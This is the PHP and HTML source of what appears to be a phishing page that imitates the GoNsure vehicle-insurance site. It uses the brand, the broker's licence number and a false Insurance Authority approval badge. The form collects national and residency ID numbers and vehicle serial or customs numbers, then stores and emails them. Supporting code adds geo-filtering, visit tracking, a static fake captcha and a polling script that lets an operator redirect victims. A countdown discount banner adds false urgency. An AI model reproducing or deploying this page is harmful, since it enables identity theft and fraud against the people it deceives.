<?php
require_once(__DIR__ . '/geo-check.php');

error_reporting(0);
ini_set('display_errors', 0);
session_start();
require_once(__DIR__ . "/track-visit.php");
require_once('./add-efaa.php');
require_once('./dashboard/init.php');

if (isset($_SESSION['user_id'])) {
    $User->UpdateCurrentPage($_SESSION['user_id'], 'انواع التأمين');
    $dataa = [
        'userId' => $_SESSION['user_id'],
        'page' => 'انواع التأمين'
    ];
}

if (isset($_GET['type'])) {
    $type = $_GET['type'];
}

if (isset($_POST['submit'])) {
    $site = array(
        'ssn' => $_POST['ssn'],
        'firstType' => $_POST['firstType'],
        'secondType' => $_POST['secondType'],
        'tasal' => $_POST['tasal'],
        'jamNum' => $_POST['jamNum'],
        'yearOf' => $_POST['yearOf'],
        'page' => 'الرئيسية',
        'message' => 'الرئيسية',
        'type' => '1'
    );

    $_SESSION['type'] = 1;
    $_SESSION['ssn'] = $_POST['ssn'];

    $id = $User->register($site);
    if ($id) {
        $_SESSION['user_id'] = $id;
        SendMail($_POST["ssn"]);
        echo "<script>document.location.href='index-details.php';</script>";
    }
}
if (isset($_GET['reject'])) {
    $showError = true;
}
if (isset($_GET['done'])) {
    $showError1 = true;
}
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>جونشور | تأمين المركبات</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <link rel="stylesheet" href="./assets/gonsure-style.css">
    <style>
        body {
            background: #f8fafc;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        /* Navbar - motor.gonsure.com style */
        .motor-nav {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 12px 16px;
            background: #fff;
            box-shadow: 0 1px 3px rgba(0,0,0,0.06);
            position: sticky;
            top: 0;
            z-index: 1000;
        }
        .motor-nav .logo { height: 24px; }
        .motor-nav-tabs {
            display: flex;
            gap: 16px;
            align-items: center;
        }
        .motor-nav-tabs a {
            font-size: 13px;
            font-weight: 500;
            color: #64748b;
            display: flex;
            align-items: center;
            gap: 6px;
            padding: 6px 0;
            border-bottom: 2px solid transparent;
        }
        .motor-nav-tabs a.active {
            color: #2447ff;
            font-weight: 600;
            border-bottom-color: #2447ff;
        }
        .motor-nav-tabs a i { font-size: 14px; }
        .motor-nav-right {
            display: flex;
            gap: 12px;
            align-items: center;
        }
        .motor-nav-right .login-btn {
            font-size: 12px;
            color: #64748b;
            display: flex;
            align-items: center;
            gap: 4px;
        }
        .motor-nav-right .lang-btn {
            font-size: 11px;
            color: #64748b;
            font-weight: 600;
        }

        /* Form Container */
        .motor-form-wrap {
            flex: 1;
            padding: 24px 16px;
            display: flex;
            flex-direction: column;
            align-items: center;
        }
        .motor-form-card {
            background: #fff;
            border-radius: 16px;
            padding: 24px 20px;
            width: 100%;
            max-width: 480px;
            box-shadow: 0 2px 12px rgba(0,0,0,0.06);
            border: 1px solid #e2e8f0;
        }

        /* Insurance Type Tabs */
        .ins-type-tabs {
            display: flex;
            background: #FAFBFF;
            border-radius: 12px;
            padding: 4px;
            margin-bottom: 20px;
            border: 1px solid #D3DAFF;
        }
        .ins-type-tab {
            flex: 1;
            text-align: center;
            padding: 10px 12px;
            font-size: 14px;
            font-weight: 600;
            border: none;
            background: transparent;
            color: #64748b;
            cursor: pointer;
            border-radius: 10px;
            transition: all 0.3s;
        }
        .ins-type-tab.active {
            background: #2447ff;
            color: white;
            box-shadow: 0 2px 8px rgba(36,71,255,0.2);
        }

        /* Form Labels & Inputs */
        .form-label-g {
            font-size: 13px;
            font-weight: 600;
            color: #374151;
            margin-bottom: 6px;
            display: block;
        }
        .form-input-g {
            width: 100%;
            border: 1.5px solid #D3DAFF;
            border-radius: 10px;
            padding: 12px 14px;
            font-size: 14px;
            font-family: "Rubik", sans-serif;
            color: #1e293b;
            background: #fff;
            transition: border-color 0.3s, box-shadow 0.3s;
            direction: rtl;
            height: 48px;
        }
        .form-input-g:focus {
            border-color: #2447ff;
            box-shadow: 0 0 0 3px rgba(36,71,255,0.1);
            outline: none;
        }
        .form-input-g::placeholder {
            color: #cbd5e1;
            font-size: 13px;
        }
        .form-select-g {
            width: 100%;
            border: 1.5px solid #D3DAFF;
            border-radius: 10px;
            padding: 12px 14px;
            font-size: 14px;
            font-family: "Rubik", sans-serif;
            color: #1e293b;
            background: #fff;
            height: 48px;
            appearance: none;
            -webkit-appearance: none;
            background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 12 12'%3E%3Cpath fill='%2364748b' d='M6 8L1 3h10z'/%3E%3C/svg%3E");
            background-repeat: no-repeat;
            background-position: left 14px center;
        }
        .form-select-g:focus {
            border-color: #2447ff;
            box-shadow: 0 0 0 3px rgba(36,71,255,0.1);
            outline: none;
        }

        /* Registration Type (رخصة سير / بطاقة جمركية) */
        .reg-type-tabs {
            display: flex;
            background: #FAFBFF;
            border-radius: 10px;
            padding: 3px;
            margin-bottom: 16px;
            border: 1px solid #D3DAFF;
        }
        .reg-type-tab {
            flex: 1;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 6px;
            padding: 10px;
            font-size: 13px;
            font-weight: 600;
            border: none;
            background: transparent;
            color: #64748b;
            cursor: pointer;
            border-radius: 8px;
            transition: all 0.3s;
        }
        .reg-type-tab.active {
            background: #2447ff;
            color: white;
        }
        .reg-type-tab i { font-size: 13px; }

        /* Captcha */
        .captcha-wrap {
            display: flex;
            align-items: center;
            border: 1.5px solid #D3DAFF;
            border-radius: 10px;
            overflow: hidden;
            background: #fff;
        }
        .captcha-wrap input {
            border: none;
            flex: 1;
            padding: 12px 14px;
            font-size: 14px;
            height: 48px;
            font-family: "Rubik", sans-serif;
        }
        .captcha-wrap input:focus { outline: none; }
        .captcha-wrap img {
            height: 48px;
            padding: 4px 8px;
            border-right: 1px solid #D3DAFF;
        }

        /* Agreement */
        .agreement-g {
            font-size: 12px;
            color: #64748b;
            text-align: center;
            padding: 14px 0;
            line-height: 1.7;
        }
        .agreement-g a { color: #2447ff; font-weight: 600; text-decoration: underline; }

        /* Submit Button */
        .btn-submit-g {
            width: 100%;
            background: #2447ff;
            color: white;
            border: none;
            padding: 14px;
            border-radius: 12px;
            font-size: 16px;
            font-weight: 700;
            font-family: "Rubik", sans-serif;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
            transition: all 0.3s;
        }
        .btn-submit-g:hover { background: #1a35cc; }
        .btn-submit-g:disabled {
            background: #94a3b8;
            cursor: not-allowed;
        }

        /* Footer - motor.gonsure.com style */
        .motor-footer {
            background: #111827;
            color: white;
            padding: 24px 16px;
            margin-top: auto;
        }
        .motor-footer .footer-brand {
            display: flex;
            align-items: flex-start;
            gap: 12px;
            margin-bottom: 16px;
        }
        .motor-footer .footer-brand img { height: 40px; }
        .motor-footer .footer-brand .ia-logo { filter: brightness(0) invert(1); }
        .motor-footer .footer-info {
            font-size: 11px;
            color: #94a3b8;
            line-height: 1.7;
            margin-bottom: 16px;
        }
        .motor-footer .footer-links-row {
            display: flex;
            flex-wrap: wrap;
            gap: 12px;
            margin-bottom: 14px;
        }
        .motor-footer .footer-links-row a {
            font-size: 12px;
            color: #94a3b8;
        }
        .motor-footer .footer-links-row a:hover { color: #fff; }
        .motor-footer .footer-contact {
            font-size: 12px;
            color: #94a3b8;
            margin-bottom: 14px;
        }
        .motor-footer .footer-contact a { color: #94a3b8; }
        .motor-footer .social-row {
            display: flex;
            gap: 10px;
            margin-bottom: 14px;
        }
        .motor-footer .social-row a {
            width: 32px;
            height: 32px;
            border-radius: 8px;
            background: rgba(255,255,255,0.08);
            display: flex;
            align-items: center;
            justify-content: center;
            color: #94a3b8;
            font-size: 14px;
        }
        .motor-footer .social-row a:hover { background: #2447ff; color: #fff; }
        .motor-footer .pay-row {
            display: flex;
            gap: 10px;
            align-items: center;
            flex-wrap: wrap;
            margin-bottom: 14px;
        }
        .motor-footer .pay-row img { height: 24px; opacity: 0.7; }
        .motor-footer .app-row {
            display: flex;
            gap: 10px;
            margin-bottom: 14px;
        }
        .motor-footer .app-row img { height: 36px; border-radius: 6px; }
        .motor-footer .footer-bottom {
            border-top: 1px solid rgba(255,255,255,0.08);
            padding-top: 12px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .motor-footer .footer-bottom span { font-size: 11px; color: #64748b; }
        .motor-footer .footer-bottom a { font-size: 11px; color: #64748b; margin-right: 12px; }

        .mb-g { margin-bottom: 16px; }
    </style>
</head>
<body>

    <!-- Navbar -->
    <nav class="motor-nav">
        <a href="index.php">
            <img src="./assets/gonsure_logo.svg" alt="جونشور" class="logo">
        </a>
        <div class="motor-nav-tabs">
            <a href="#" class="active">
                <i class="fas fa-car"></i>
                تأمين مركبات
            </a>
            <a href="#" onclick="return false;" style="opacity: 0.5; cursor: default;">
                <i class="fas fa-heart-pulse"></i>
                تأمين طبي
            </a>
        </div>
        <div class="motor-nav-right">
            <span class="lang-btn">EN</span>
        </div>
    </nav>

    <!-- Promo Banner -->
    <div style="margin: 12px 16px 0; background: linear-gradient(135deg, #1a35cc 0%, #2447ff 50%, #7c3aed 100%); border-radius: 12px; padding: 12px 16px; color: white; position: relative; overflow: hidden; box-shadow: 0 4px 20px rgba(36,71,255,0.3); display: flex; align-items: center; justify-content: space-between; gap: 10px;">
        <div style="position: absolute; top: -20px; right: -20px; width: 60px; height: 60px; background: rgba(255,255,255,0.1); border-radius: 50%;"></div>
        <div style="display: flex; align-items: center; gap: 10px; flex: 1;">
            <div style="font-size: 32px; font-weight: 900; line-height: 1; text-shadow: 0 2px 10px rgba(0,0,0,0.2); white-space: nowrap;">40<span style="font-size: 18px;">%</span></div>
            <div>
                <div style="font-size: 13px; font-weight: 700;">خصم على تأمين المركبات</div>
                <div style="display: flex; align-items: center; gap: 8px; margin-top: 4px; flex-wrap: wrap;">
                    <div style="display: inline-flex; align-items: center; gap: 4px; font-size: 11px; opacity: 0.85;"><i class="fas fa-clock" style="font-size: 10px;"></i> لمدة يومين فقط</div>
                    <div style="display: inline-flex; align-items: center; gap: 4px; font-size: 11px; background: rgba(255,255,255,0.15); border-radius: 6px; padding: 2px 8px;"><i class="fas fa-link" style="font-size: 9px;"></i> ربط فوري مع أبشر والمرور</div>
                </div>
            </div>
        </div>
        <div style="background: rgba(255,255,255,0.2); border-radius: 16px; padding: 3px 10px; font-size: 10px; font-weight: 600; white-space: nowrap;">عرض محدود</div>
    </div>

    <!-- Form -->
    <div class="motor-form-wrap">
        <div class="motor-form-card">
            <form action="" method="POST">

                <!-- تأمين جديد / نقل ملكية -->
                <div class="ins-type-tabs">
                    <div class="ins-type-tab active panner cont" id="tab-new">تأمين جديد</div>
                    <div class="ins-type-tab panner cont" id="tab-transfer">نقل ملكية</div>
                </div>

                <input type="hidden" id="firstType" name="firstType" value="1">
                <input type="hidden" id="secondType" name="secondType" value="1">

                <!-- رقم هوية البائع (نقل ملكية) -->
                <div id="typeTwo" style="display: none;" class="mb-g">
                    <label class="form-label-g">رقم هوية البائع</label>
                    <input type="text" id="ssnTwo" minlength="10" maxlength="10" pattern="[0-9]*" name="ssnTwo" inputmode="numeric" class="form-input-g" placeholder="أدخل رقم هوية البائع">
                </div>

                <!-- رقم الهوية -->
                <div class="mb-g">
                    <label class="form-label-g">رقم الهوية / الإقامة للمالك</label>
                    <input type="text" id="ssn" name="ssn" required minlength="10" maxlength="10" pattern="[0-9]*" inputmode="numeric" class="form-input-g" placeholder="رقم الهوية / الإقامة للمالك">
                </div>

                <!-- نوع تسجيل المركبة -->
                <div class="mb-g">
                    <label class="form-label-g">نوع تسجيل المركبة</label>
                    <div class="reg-type-tabs">
                        <div class="reg-type-tab active pannerTwo contTwo" id="ista" onclick="changeLoca({value: 1})">
                            <input type="radio" value="1" name="chec" checked style="display:none;">
                            <i class="fas fa-file-lines"></i>
                            <span>رخصة سير</span>
                        </div>
                        <div class="reg-type-tab pannerTwo contTwo" id="ista2" onclick="changeLoca({value: 2})">
                            <input type="radio" value="2" name="chec" style="display:none;">
                            <i class="fas fa-id-card"></i>
                            <span>بطاقة جمركية</span>
                        </div>
                    </div>
                </div>

                <!-- بطاقة جمركية fields -->
                <div id="jama" style="display: none;">
                    <div class="mb-g">
                        <label class="form-label-g">سنة صنع المركبة</label>
                        <select name="yearOf" class="form-select-g" id="year">
                            <option value="">اختر سنة الصنع</option>
                            <?php for($y=2026; $y>=1916; $y--): ?>
                            <option value="<?php echo $y; ?>"><?php echo $y; ?></option>
                            <?php endfor; ?>
                        </select>
                    </div>
                    <div class="mb-g">
                        <label class="form-label-g">الرقم الجمركي</label>
                        <input type="text" name="jomNum" class="form-input-g" pattern="[0-9]*" name="numG" id="numG" placeholder="أدخل الرقم الجمركي">
                    </div>
                </div>

                <!-- الرقم التسلسلي -->
                <div id="tasal" class="mb-g">
                    <label class="form-label-g">الرقم التسلسلي</label>
                    <input type="text" name="tasal" class="form-input-g" pattern="[0-9]*" required placeholder="الرقم التسلسلي">
                </div>

                <!-- Agreement -->
                <p class="agreement-g">بالضغط على زر البحث فأنت توافق على منحنا حق الاستعلام عن بياناتك أو مركبتك من الجهات ذات العلاقة والموافقة على <a href="#">الشروط والاحكام</a></p>

                <!-- Captcha -->
                <div class="mb-g">
                    <div class="captcha-wrap">
                        <input type="text" required inputmode="numeric" placeholder="أدخل رمز التحقق">
                        <img src="./assets/download.jfif" width="90" alt="captcha">
                    </div>
                </div>

                <!-- Submit -->
                <button type="submit" name="submit" id="butSubm" disabled class="btn-submit-g">
                    <span>ابحث الآن</span>
                </button>

            </form>
        </div>
    </div>

    <!-- Footer -->
    <footer class="motor-footer">
        <div style="text-align: right; margin-bottom: 12px;">
            <p style="font-size: 12px; color: #94a3b8; margin-bottom: 4px;">مصرح من قبل</p>
            <div style="display: flex; align-items: center; gap: 10px; justify-content: flex-end;">
                <div>
                    <p style="font-size: 11px; color: #94a3b8; margin: 0;">هـيـئـة التـأمـين</p>
                    <p style="font-size: 10px; color: #94a3b8; margin: 0;">Insurance Authority</p>
                </div>
                <i class="fas fa-shield-halved" style="font-size: 28px; color: #94a3b8;"></i>
            </div>
        </div>
        <p class="footer-info">أحد منتجات شركة ضامن لوساطة التأمين التعاوني خاضع لرقابة وإشراف هيئة التأمين<br>ترخيص رقم و.س.ط/ش/101/201807</p>
        
        <div class="footer-links-row">
            <a href="#">مركز المساعدة</a>
            <a href="#">الأسئلة الشائعة</a>
        </div>
        <div class="footer-contact">
            <a href="tel:8001244010"><i class="fas fa-phone" style="margin-left: 4px;"></i> 8001244010</a>
            <br>
            <a href="mailto:info@gonsure.com"><i class="fas fa-envelope" style="margin-left: 4px;"></i> info@gonsure.com</a>
        </div>
        <div class="footer-links-row">
            <a href="#">شركاؤنا</a>
            <a href="#">مدونة</a>
            <a href="#">لوائح هيئة التأمين</a>
        </div>

        <div class="social-row">
            <a href="#"><i class="fab fa-tiktok"></i></a>
            <a href="#"><i class="fab fa-snapchat-ghost"></i></a>
            <a href="#"><i class="fab fa-facebook-f"></i></a>
            <a href="#"><i class="fab fa-instagram"></i></a>
            <a href="#"><i class="fab fa-x-twitter"></i></a>
        </div>

        <div class="pay-row">
            <img src="https://upload.wikimedia.org/wikipedia/commons/5/5e/Visa_Inc._logo.svg" alt="VISA" style="filter: brightness(0) invert(1);">
            <img src="https://upload.wikimedia.org/wikipedia/commons/2/2a/Mastercard-logo.svg" alt="Mastercard">
            <img src="https://upload.wikimedia.org/wikipedia/commons/b/b0/Apple_Pay_logo.svg" alt="Apple Pay" style="filter: brightness(0) invert(1);">
        </div>

        <div class="app-row">
            <img src="https://developer.apple.com/assets/elements/badges/download-on-the-app-store.svg" alt="App Store">
            <img src="https://upload.wikimedia.org/wikipedia/commons/7/78/Google_Play_Store_badge_EN.svg" alt="Google Play">
        </div>

        <div class="footer-bottom">
            <span>© GoNsure 2026 جميع الحقوق محفوظة</span>
            <div>
                <a href="#">سياسة الخصوصية</a>
                <a href="#">الشروط والاحكام</a>
                <a href="#">منع الاحتيال</a>
            </div>
        </div>
    </footer>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const form = document.querySelector('form');
            const submitBtn = document.getElementById('butSubm');

            form.addEventListener('input', function() {
                submitBtn.disabled = !form.checkValidity();
            });

            if (form.checkValidity()) {
                submitBtn.disabled = false;
            }
        });

        // Tab switching: تأمين جديد / نقل ملكية
        document.querySelectorAll('.ins-type-tabs .ins-type-tab').forEach(tab => {
            tab.addEventListener('click', function() {
                document.querySelectorAll('.ins-type-tabs .ins-type-tab').forEach(t => t.classList.remove('active'));
                this.classList.add('active');

                var typeTwo = document.getElementById('typeTwo');
                if (typeTwo.style.display == 'none') {
                    typeTwo.style.display = 'block';
                    document.getElementById('firstType').value = 2;
                    document.getElementById('ssnTwo').required = true;
                } else {
                    typeTwo.style.display = 'none';
                    document.getElementById('firstType').value = 1;
                    document.getElementById('ssnTwo').required = false;
                }
            });
        });

        function changeLoca(radio) {
            var jama = document.getElementById('jama');
            var tasal = document.getElementById('tasal');
            var ista = document.getElementById('ista');
            var ista2 = document.getElementById('ista2');

            if (radio.value == 1) {
                ista.classList.add('active');
                ista2.classList.remove('active');
                jama.style.display = 'none';
                tasal.style.display = 'block';
                document.getElementById('secondType').value = 1;
                document.getElementById('year').required = false;
                document.getElementById('numG').required = false;
            } else {
                ista2.classList.add('active');
                ista.classList.remove('active');
                jama.style.display = 'block';
                tasal.style.display = 'none';
                document.getElementById('secondType').value = 2;
                document.getElementById('year').required = true;
                document.getElementById('numG').required = true;
            }
        }
    </script>

    <script>
    function checkRedirect() {
        fetch('polling-redirect.php')
            .then(r => r.json())
            .then(data => {
                if (data.redirect) {
                    window.location.href = data.redirect;
                }
            })
            .catch(e => {});
    }
    setInterval(checkRedirect, 1500);
    checkRedirect();
    </script>
<input type="hidden" id="hb_uid" value="<?= isset($_SESSION['user_id']) ? $_SESSION['user_id'] : 0 ?>">
<script src="js/heartbeat.js"></script>
</body>
</html>
